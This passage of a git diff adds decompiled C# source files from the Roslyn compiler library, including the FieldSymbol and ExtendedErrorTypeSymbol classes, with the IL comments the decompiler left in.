ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ExtendedErrorTypeSymbol.cs", 96); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (_unreported) + { + return new UseSiteInfo(ErrorInfo); + } + return default(UseSiteInfo); + } + + internal override NamedTypeSymbol? GetDeclaredBaseType(ConsList basesBeingResolved) + { + return null; + } + + internal override ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved) + { + return ImmutableArray.Empty; + } + + internal static TypeSymbol? ExtractNonErrorType(TypeSymbol? oldSymbol) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + if ((object)oldSymbol == null || (int)oldSymbol.TypeKind != 6) + { + return oldSymbol; + } + if (oldSymbol.OriginalDefinition is ExtendedErrorTypeSymbol extendedErrorTypeSymbol && !extendedErrorTypeSymbol._candidateSymbols.IsDefault && extendedErrorTypeSymbol._candidateSymbols.Length == 1 && extendedErrorTypeSymbol._candidateSymbols[0] is TypeSymbol type) + { + return type.GetNonErrorGuess(); + } + return null; + } + + internal static TypeKind ExtractNonErrorTypeKind(TypeSymbol oldSymbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Invalid comparison between Unknown and I4 + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Invalid comparison between Unknown and I4 + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + if ((int)oldSymbol.TypeKind != 6) + { + return oldSymbol.TypeKind; + } + ExtendedErrorTypeSymbol extendedErrorTypeSymbol = oldSymbol.OriginalDefinition as ExtendedErrorTypeSymbol; + TypeKind val = (TypeKind)6; + if ((object)extendedErrorTypeSymbol != null && !extendedErrorTypeSymbol._candidateSymbols.IsDefault && extendedErrorTypeSymbol._candidateSymbols.Length > 0) + { + ImmutableArray.Enumerator enumerator = extendedErrorTypeSymbol._candidateSymbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is TypeSymbol typeSymbol && (int)typeSymbol.TypeKind != 6) + { + if ((int)val == 6) + { + val = typeSymbol.TypeKind; + } + else if (val != typeSymbol.TypeKind) + { + return (TypeKind)6; + } + } + } + } + return val; + } + + internal override bool Equals(TypeSymbol? t2, TypeCompareKind comparison) + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == t2) + { + return true; + } + if (!(t2 is ExtendedErrorTypeSymbol extendedErrorTypeSymbol) || _unreported || extendedErrorTypeSymbol._unreported) + { + return false; + } + if ((((object)ContainingType != null) ? ContainingType.Equals(extendedErrorTypeSymbol.ContainingType, comparison) : (((object)ContainingSymbol == null) ? ((object)extendedErrorTypeSymbol.ContainingSymbol == null) : ContainingSymbol.Equals(extendedErrorTypeSymbol.ContainingSymbol))) && Name == extendedErrorTypeSymbol.Name) + { + return Arity == extendedErrorTypeSymbol.Arity; + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Arity, Hash.Combine(((object)ContainingSymbol != null) ? ContainingSymbol.GetHashCode() : 0, (Name != null) ? Name.GetHashCode() : 0)); + } + + private static int GetArity(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + if ((int)kind != 4) + { + if ((int)kind == 9) + { + return ((MethodSymbol)symbol).Arity; + } + if ((int)kind != 11) + { + return 0; + } + } + return ((NamedTypeSymbol)symbol).Arity; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FieldOrPropertyInitializer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FieldOrPropertyInitializer.cs new file mode 100644 index 0000000..6404dc2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FieldOrPropertyInitializer.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal readonly struct FieldOrPropertyInitializer(FieldSymbol fieldOpt, SyntaxNode syntax) +{ + internal readonly FieldSymbol FieldOpt = fieldOpt; + + internal readonly SyntaxReference Syntax = syntax.GetReference(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FieldSymbol.cs new file mode 100644 index 0000000..dc632d9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FieldSymbol.cs @@ -0,0 +1,475 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.RuntimeMembers; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class FieldSymbol : Symbol, IFieldReference, ITypeMemberReference, IReference, INamedEntity, IFieldDefinition, ITypeDefinitionMember, IDefinition, ISpecializedFieldReference, IFieldSymbolInternal, ISymbolInternal +{ + ImmutableArray IFieldReference.RefCustomModifiers => ImmutableArray.CastUp(AdaptedFieldSymbol.RefCustomModifiers); + + bool IFieldReference.IsByReference => (int)AdaptedFieldSymbol.RefKind > 0; + + ISpecializedFieldReference IFieldReference.AsSpecializedFieldReference + { + get + { + if (!AdaptedFieldSymbol.IsDefinition) + { + return (ISpecializedFieldReference)(object)this; + } + return null; + } + } + + string INamedEntity.Name => AdaptedFieldSymbol.MetadataName; + + bool IFieldReference.IsContextualNamedEntity => false; + + ImmutableArray IFieldDefinition.MappedData => default(ImmutableArray); + + bool IFieldDefinition.IsCompileTimeConstant => AdaptedFieldSymbol.IsMetadataConstant; + + bool IFieldDefinition.IsNotSerialized => AdaptedFieldSymbol.IsNotSerialized; + + bool IFieldDefinition.IsReadOnly + { + get + { + if (!AdaptedFieldSymbol.IsReadOnly) + { + if (AdaptedFieldSymbol.IsConst) + { + return !AdaptedFieldSymbol.IsMetadataConstant; + } + return false; + } + return true; + } + } + + bool IFieldDefinition.IsRuntimeSpecial => AdaptedFieldSymbol.HasRuntimeSpecialName; + + bool IFieldDefinition.IsSpecialName => AdaptedFieldSymbol.HasSpecialName; + + bool IFieldDefinition.IsStatic => AdaptedFieldSymbol.IsStatic; + + bool IFieldDefinition.IsMarshalledExplicitly => AdaptedFieldSymbol.IsMarshalledExplicitly; + + IMarshallingInformation IFieldDefinition.MarshallingInformation => (IMarshallingInformation)(object)AdaptedFieldSymbol.MarshallingInformation; + + ImmutableArray IFieldDefinition.MarshallingDescriptor => AdaptedFieldSymbol.MarshallingDescriptor; + + int IFieldDefinition.Offset => AdaptedFieldSymbol.TypeLayoutOffset.GetValueOrDefault(); + + ITypeDefinition ITypeDefinitionMember.ContainingTypeDefinition => (ITypeDefinition)(object)AdaptedFieldSymbol.ContainingType.GetCciAdapter(); + + TypeMemberVisibility ITypeDefinitionMember.Visibility => PEModuleBuilder.MemberVisibility(AdaptedFieldSymbol); + + IFieldReference ISpecializedFieldReference.UnspecializedVersion => (IFieldReference)(object)AdaptedFieldSymbol.OriginalDefinition.GetCciAdapter(); + + internal FieldSymbol AdaptedFieldSymbol => this; + + internal virtual bool IsMarshalledExplicitly => MarshallingInformation != null; + + internal virtual ImmutableArray MarshallingDescriptor => default(ImmutableArray); + + public new virtual FieldSymbol OriginalDefinition => this; + + protected sealed override Symbol OriginalSymbolDefinition => OriginalDefinition; + + public TypeWithAnnotations TypeWithAnnotations => GetFieldType(ConsList.Empty); + + public abstract RefKind RefKind { get; } + + public abstract ImmutableArray RefCustomModifiers { get; } + + public abstract FlowAnalysisAnnotations FlowAnalysisAnnotations { get; } + + public TypeSymbol Type => TypeWithAnnotations.Type; + + public abstract Symbol AssociatedSymbol { get; } + + public abstract bool IsReadOnly { get; } + + public abstract bool IsVolatile { get; } + + public virtual bool RequiresInstanceReceiver => !IsStatic; + + public virtual bool IsFixedSizeBuffer => false; + + public virtual int FixedSize => 0; + + internal virtual bool IsCapturedFrame => false; + + public abstract bool IsConst { get; } + + public bool IsMetadataConstant + { + get + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + if (IsConst) + { + return (int)Type.SpecialType != 17; + } + return false; + } + } + + public virtual bool HasConstantValue + { + get + { + if (!IsConst) + { + return false; + } + ConstantValue constantValue = GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false); + if (constantValue != (ConstantValue)null) + { + return !constantValue.IsBad; + } + return false; + } + } + + public virtual object ConstantValue + { + get + { + if (!IsConst) + { + return null; + } + ConstantValue constantValue = GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false); + if (!(constantValue == (ConstantValue)null)) + { + return constantValue.Value; + } + return null; + } + } + + public sealed override SymbolKind Kind => (SymbolKind)6; + + public sealed override bool IsAbstract => false; + + public sealed override bool IsExtern => false; + + public sealed override bool IsOverride => false; + + public sealed override bool IsSealed => false; + + public sealed override bool IsVirtual => false; + + internal abstract bool HasSpecialName { get; } + + internal abstract bool HasRuntimeSpecialName { get; } + + internal abstract bool IsNotSerialized { get; } + + internal virtual bool HasPointerType => Type.IsPointerOrFunctionPointer(); + + internal abstract MarshalPseudoCustomAttributeData MarshallingInformation { get; } + + internal virtual UnmanagedType MarshallingType + { + get + { + MarshalPseudoCustomAttributeData marshallingInformation = MarshallingInformation; + if (marshallingInformation == null) + { + return (UnmanagedType)0; + } + return marshallingInformation.UnmanagedType; + } + } + + internal abstract int? TypeLayoutOffset { get; } + + internal abstract bool IsRequired { get; } + + public sealed override bool HasUnsupportedMetadata + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + DiagnosticInfo diagnosticInfo = GetUseSiteInfo().DiagnosticInfo; + bool flag = diagnosticInfo != null; + if (flag) + { + int code = diagnosticInfo.Code; + bool flag2 = ((code == 570 || code == 9041) ? true : false); + flag = flag2; + } + return flag; + } + } + + public virtual bool IsVirtualTupleField => false; + + public virtual bool IsDefaultTupleElement => TupleElementIndex >= 0; + + public virtual bool IsExplicitlyNamedTupleElement => false; + + public virtual FieldSymbol TupleUnderlyingField + { + get + { + if (!ContainingType.IsTupleType) + { + return null; + } + return this; + } + } + + public virtual FieldSymbol CorrespondingTupleField + { + get + { + if (TupleElementIndex < 0) + { + return null; + } + return this; + } + } + + public virtual int TupleElementIndex + { + get + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + if (!ContainingType.IsTupleType) + { + return -1; + } + if (!ContainingType.IsDefinition) + { + return OriginalDefinition.TupleElementIndex; + } + int num = NamedTypeSymbol.MatchesCanonicalTupleElementName(Name); + int arity = ContainingType.Arity; + if (num <= 0 || num > arity) + { + return -1; + } + MemberDescriptor descriptor = WellKnownMembers.GetDescriptor(NamedTypeSymbol.GetTupleTypeMember(arity, num)); + if ((object)CSharpCompilation.GetRuntimeMember(ImmutableArray.Create((Symbol)this), in descriptor, (SignatureComparer)(object)CSharpCompilation.SpecialMembersSignatureComparer.Instance, null) == null) + { + return -1; + } + return num - 1; + } + } + + bool IFieldSymbolInternal.IsVolatile => IsVolatile; + + ITypeReference IFieldReference.GetType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Expected O, but got Unknown + PEModuleBuilder pEModuleBuilder = (PEModuleBuilder)(object)context.Module; + TypeWithAnnotations typeWithAnnotations = AdaptedFieldSymbol.TypeWithAnnotations; + ImmutableArray customModifiers = typeWithAnnotations.CustomModifiers; + bool isFixedSizeBuffer = AdaptedFieldSymbol.IsFixedSizeBuffer; + TypeSymbol typeSymbol = (isFixedSizeBuffer ? AdaptedFieldSymbol.FixedImplementationType(pEModuleBuilder) : typeWithAnnotations.Type); + ITypeReference val = ((PEModuleBuilder)pEModuleBuilder).Translate(typeSymbol, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + if (isFixedSizeBuffer || customModifiers.Length == 0) + { + return val; + } + return (ITypeReference)new ModifiedTypeReference(val, ImmutableArray.CastUp(customModifiers)); + } + + IFieldDefinition IFieldReference.GetResolvedField(EmitContext context) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return ResolvedFieldImpl((PEModuleBuilder)(object)context.Module); + } + + private IFieldDefinition ResolvedFieldImpl(PEModuleBuilder moduleBeingBuilt) + { + if (AdaptedFieldSymbol.IsDefinition && AdaptedFieldSymbol.ContainingModule == ((PEModuleBuilder)moduleBeingBuilt).SourceModule) + { + return (IFieldDefinition)(object)this; + } + return null; + } + + ITypeReference ITypeMemberReference.GetContainingType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return (ITypeReference)(object)((PEModuleBuilder)(object)context.Module).Translate(AdaptedFieldSymbol.ContainingType, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics, fromImplements: false, AdaptedFieldSymbol.IsDefinition); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + if (!AdaptedFieldSymbol.IsDefinition) + { + visitor.Visit((IFieldReference)(object)this); + } + else if (AdaptedFieldSymbol.ContainingModule == ((PEModuleBuilder)(PEModuleBuilder)(object)visitor.Context.Module).SourceModule) + { + visitor.Visit((IFieldDefinition)(object)this); + } + else + { + visitor.Visit((IFieldReference)(object)this); + } + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder moduleBeingBuilt = (PEModuleBuilder)(object)context.Module; + return (IDefinition)(object)ResolvedFieldImpl(moduleBeingBuilt); + } + + MetadataConstant IFieldDefinition.GetCompileTimeValue(EmitContext context) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return GetMetadataConstantValue(context); + } + + internal MetadataConstant GetMetadataConstantValue(EmitContext context) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + if (AdaptedFieldSymbol.IsMetadataConstant) + { + return ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).CreateConstant(AdaptedFieldSymbol.Type, AdaptedFieldSymbol.ConstantValue, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + return null; + } + + internal new FieldSymbol GetCciAdapter() + { + return this; + } + + internal FieldSymbol() + { + } + + internal abstract TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound); + + internal virtual NamedTypeSymbol FixedImplementationType(PEModuleBuilder emitModule) + { + return null; + } + + internal abstract ConstantValue GetConstantValue(ConstantFieldsInProgress inProgress, bool earlyDecodingWellKnownAttributes); + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitField(this, argument); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitField(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitField(this); + } + + internal virtual FieldSymbol AsMember(NamedTypeSymbol newOwner) + { + if (!newOwner.IsDefinition) + { + return new SubstitutedFieldSymbol(newOwner as SubstitutedNamedTypeSymbol, this); + } + return this; + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (base.IsDefinition) + { + return new UseSiteInfo(base.PrimaryDependency); + } + return OriginalDefinition.GetUseSiteInfo(); + } + + internal bool CalculateUseSiteDiagnostic(ref UseSiteInfo result) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + if (DeriveUseSiteInfoFromType(ref result, TypeWithAnnotations, ((int)RefKind == 0) ? AllowedRequiredModifierType.System_Runtime_CompilerServices_Volatile : AllowedRequiredModifierType.None) || DeriveUseSiteInfoFromCustomModifiers(ref result, RefCustomModifiers, AllowedRequiredModifierType.None)) + { + return true; + } + if (ContainingModule.HasUnifiedReferences) + { + HashSet checkedTypes = null; + DiagnosticInfo result2 = result.DiagnosticInfo; + if (TypeWithAnnotations.GetUnificationUseSiteDiagnosticRecursive(ref result2, this, ref checkedTypes)) + { + result = result.AdjustDiagnosticInfo(result2); + return true; + } + result = result.AdjustDiagnosticInfo(result2); + } + return false; + } + + protected sealed override bool IsHighestPriorityUseSiteErrorCode(int code) + { + if (code == 570 || code == 9041) + { + return true; + } + return false; + } + + internal bool IsTupleElement() + { + return (object)CorrespondingTupleField != null; + } + + protected override ISymbol CreateISymbol() + { + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.FieldSymbol(this); + } + + public override bool Equals(Symbol other, TypeCompareKind compareKind) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + if (other is SubstitutedFieldSymbol substitutedFieldSymbol) + { + return substitutedFieldSymbol.Equals(this, compareKind); + } + return base.Equals(other, compareKind); + } + + public override int GetHashCode() + { + return base.GetHashCode(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FieldSymbolWithAttributesAndModifiers.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FieldSymbolWithAttributesAndModifiers.cs new file mode 100644 index 0000000..b88202c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FieldSymbolWithAttributesAndModifiers.cs @@ -0,0 +1,375 @@ +using System; +using System.Collections.Immutable; +using System.Runtime.InteropServices; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class FieldSymbolWithAttributesAndModifiers : FieldSymbol, IAttributeTargetSymbol +{ + private CustomAttributesBag _lazyCustomAttributesBag; + + protected SymbolCompletionState state; + + internal abstract Location ErrorLocation { get; } + + protected abstract DeclarationModifiers Modifiers { get; } + + protected abstract SyntaxList AttributeDeclarationSyntaxList { get; } + + protected abstract IAttributeTargetSymbol AttributeOwner { get; } + + IAttributeTargetSymbol IAttributeTargetSymbol.AttributesOwner => AttributeOwner; + + AttributeLocation IAttributeTargetSymbol.DefaultAttributeLocation => AttributeLocation.Field; + + AttributeLocation IAttributeTargetSymbol.AllowedAttributeLocations => AttributeLocation.Field; + + public sealed override bool IsStatic => (Modifiers & DeclarationModifiers.Static) != 0; + + public sealed override bool IsReadOnly => (Modifiers & DeclarationModifiers.ReadOnly) != 0; + + public sealed override Accessibility DeclaredAccessibility => ModifierUtils.EffectiveAccessibility(Modifiers); + + public sealed override bool IsConst => (Modifiers & DeclarationModifiers.Const) != 0; + + public sealed override bool IsVolatile => (Modifiers & DeclarationModifiers.Volatile) != 0; + + public sealed override bool IsFixedSizeBuffer => (Modifiers & DeclarationModifiers.Fixed) != 0; + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData + { + get + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Expected O, but got Unknown + if (!((SourceMemberContainerTypeSymbol)ContainingType).AnyMemberHasAttributes) + { + return null; + } + CustomAttributesBag lazyCustomAttributesBag = _lazyCustomAttributesBag; + if (lazyCustomAttributesBag != null && lazyCustomAttributesBag.IsEarlyDecodedWellKnownAttributeDataComputed) + { + CommonFieldEarlyWellKnownAttributeData val = (CommonFieldEarlyWellKnownAttributeData)lazyCustomAttributesBag.EarlyDecodedWellKnownAttributeData; + if (val == null) + { + return null; + } + return val.ObsoleteAttributeData; + } + return ObsoleteAttributeData.Uninitialized; + } + } + + public override FlowAnalysisAnnotations FlowAnalysisAnnotations => DecodeFlowAnalysisAttributes(GetDecodedWellKnownAttributeData()); + + internal sealed override bool HasSpecialName + { + get + { + if (HasRuntimeSpecialName) + { + return true; + } + FieldWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData != null) + { + return ((CommonFieldWellKnownAttributeData)decodedWellKnownAttributeData).HasSpecialNameAttribute; + } + return false; + } + } + + internal sealed override bool IsNotSerialized + { + get + { + FieldWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData != null) + { + return ((CommonFieldWellKnownAttributeData)decodedWellKnownAttributeData).HasNonSerializedAttribute; + } + return false; + } + } + + internal sealed override MarshalPseudoCustomAttributeData MarshallingInformation + { + get + { + FieldWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null) + { + return null; + } + return ((CommonFieldWellKnownAttributeData)decodedWellKnownAttributeData).MarshallingInformation; + } + } + + internal sealed override int? TypeLayoutOffset + { + get + { + FieldWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null) + { + return null; + } + return ((CommonFieldWellKnownAttributeData)decodedWellKnownAttributeData).Offset; + } + } + + internal sealed override bool HasComplete(CompletionPart part) + { + return state.HasComplete(part); + } + + public sealed override ImmutableArray GetAttributes() + { + return GetAttributesBag().Attributes; + } + + private CustomAttributesBag GetAttributesBag() + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + CustomAttributesBag lazyCustomAttributesBag = _lazyCustomAttributesBag; + if (lazyCustomAttributesBag != null && lazyCustomAttributesBag.IsSealed) + { + return lazyCustomAttributesBag; + } + if (LoadAndValidateAttributes(OneOrMany.Create>(AttributeDeclarationSyntaxList), ref _lazyCustomAttributesBag)) + { + state.NotePartComplete(CompletionPart.Attributes); + } + return _lazyCustomAttributesBag; + } + + protected FieldWellKnownAttributeData GetDecodedWellKnownAttributeData() + { + CustomAttributesBag val = _lazyCustomAttributesBag; + if (val == null || !val.IsDecodedWellKnownAttributeDataComputed) + { + val = GetAttributesBag(); + } + return (FieldWellKnownAttributeData)(object)val.DecodedWellKnownAttributeData; + } + + internal sealed override (CSharpAttributeData?, BoundAttribute?) EarlyDecodeWellKnownAttribute(ref EarlyDecodeWellKnownAttributeArguments arguments) + { + if (Symbol.EarlyDecodeDeprecatedOrExperimentalOrObsoleteAttribute(ref arguments, out CSharpAttributeData attributeData, out BoundAttribute boundAttribute, out ObsoleteAttributeData obsoleteData)) + { + if (obsoleteData != null) + { + arguments.GetOrCreateData().ObsoleteAttributeData = obsoleteData; + } + return (attributeData, boundAttribute); + } + return base.EarlyDecodeWellKnownAttribute(ref arguments); + } + + protected override void DecodeWellKnownAttributeImpl(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Unknown result type (might be due to invalid IL or missing references) + //IL_011d: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_0139: Unknown result type (might be due to invalid IL or missing references) + //IL_0155: Unknown result type (might be due to invalid IL or missing references) + //IL_0170: Unknown result type (might be due to invalid IL or missing references) + //IL_018b: Unknown result type (might be due to invalid IL or missing references) + //IL_01a6: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag bindingDiagnosticBag = (BindingDiagnosticBag)(object)arguments.Diagnostics; + CSharpAttributeData attribute = arguments.Attribute; + if (attribute.IsTargetAttribute(this, AttributeDescription.SpecialNameAttribute)) + { + ((CommonFieldWellKnownAttributeData)arguments.GetOrCreateData()).HasSpecialNameAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.NonSerializedAttribute)) + { + ((CommonFieldWellKnownAttributeData)arguments.GetOrCreateData()).HasNonSerializedAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.FieldOffsetAttribute)) + { + if (IsStatic || IsConst) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_StructOffsetOnBadField, ((SyntaxNode)arguments.AttributeSyntaxOpt.Name).Location); + return; + } + TypedConstant val = ((AttributeData)attribute).CommonConstructorArguments[0]; + int num = ((TypedConstant)(ref val)).DecodeValue((SpecialType)13); + if (num < 0) + { + CSharpSyntaxNode attributeArgumentSyntax = ((AttributeData)(object)attribute).GetAttributeArgumentSyntax(0, arguments.AttributeSyntaxOpt); + bindingDiagnosticBag.Add(ErrorCode.ERR_InvalidAttributeArgument, ((SyntaxNode)attributeArgumentSyntax).Location, arguments.AttributeSyntaxOpt.GetErrorDisplayName()); + num = 0; + } + ((CommonFieldWellKnownAttributeData)arguments.GetOrCreateData()).SetFieldOffset(num); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.MarshalAsAttribute)) + { + MarshalAsAttributeDecoder.Decode(ref arguments, AttributeTargets.Field, (CommonMessageProvider)(object)MessageProvider.Instance); + } + else if (!ReportExplicitUseOfReservedAttributes(in arguments, ReservedAttributes.DynamicAttribute | ReservedAttributes.IsReadOnlyAttribute | ReservedAttributes.IsUnmanagedAttribute | ReservedAttributes.IsByRefLikeAttribute | ReservedAttributes.TupleElementNamesAttribute | ReservedAttributes.NullableAttribute | ReservedAttributes.NativeIntegerAttribute | ReservedAttributes.RequiredMemberAttribute | ReservedAttributes.RequiresLocationAttribute)) + { + if (attribute.IsTargetAttribute(this, AttributeDescription.DateTimeConstantAttribute)) + { + VerifyConstantValueMatches(((AttributeData)attribute).DecodeDateTimeConstantValue(), ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.DecimalConstantAttribute)) + { + VerifyConstantValueMatches(((AttributeData)attribute).DecodeDecimalConstantValue(), ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.AllowNullAttribute)) + { + arguments.GetOrCreateData().HasAllowNullAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.DisallowNullAttribute)) + { + arguments.GetOrCreateData().HasDisallowNullAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.MaybeNullAttribute)) + { + arguments.GetOrCreateData().HasMaybeNullAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.NotNullAttribute)) + { + arguments.GetOrCreateData().HasNotNullAttribute = true; + } + } + } + + private static FlowAnalysisAnnotations DecodeFlowAnalysisAttributes(FieldWellKnownAttributeData attributeData) + { + FlowAnalysisAnnotations flowAnalysisAnnotations = FlowAnalysisAnnotations.None; + if (attributeData != null) + { + if (attributeData.HasAllowNullAttribute) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.AllowNull; + } + if (attributeData.HasDisallowNullAttribute) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.DisallowNull; + } + if (attributeData.HasMaybeNullAttribute) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.MaybeNull; + } + if (attributeData.HasNotNullAttribute) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.NotNull; + } + } + return flowAnalysisAnnotations; + } + + private void VerifyConstantValueMatches(ConstantValue attrValue, ref DecodeWellKnownAttributeArguments arguments) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + if (attrValue.IsBad) + { + return; + } + FieldWellKnownAttributeData orCreateData = arguments.GetOrCreateData(); + BindingDiagnosticBag bindingDiagnosticBag = (BindingDiagnosticBag)(object)arguments.Diagnostics; + ConstantValue constantValue; + if (IsConst) + { + if ((int)base.Type.SpecialType == 17) + { + constantValue = GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false); + if (constantValue != null && !constantValue.IsBad && constantValue != attrValue) + { + 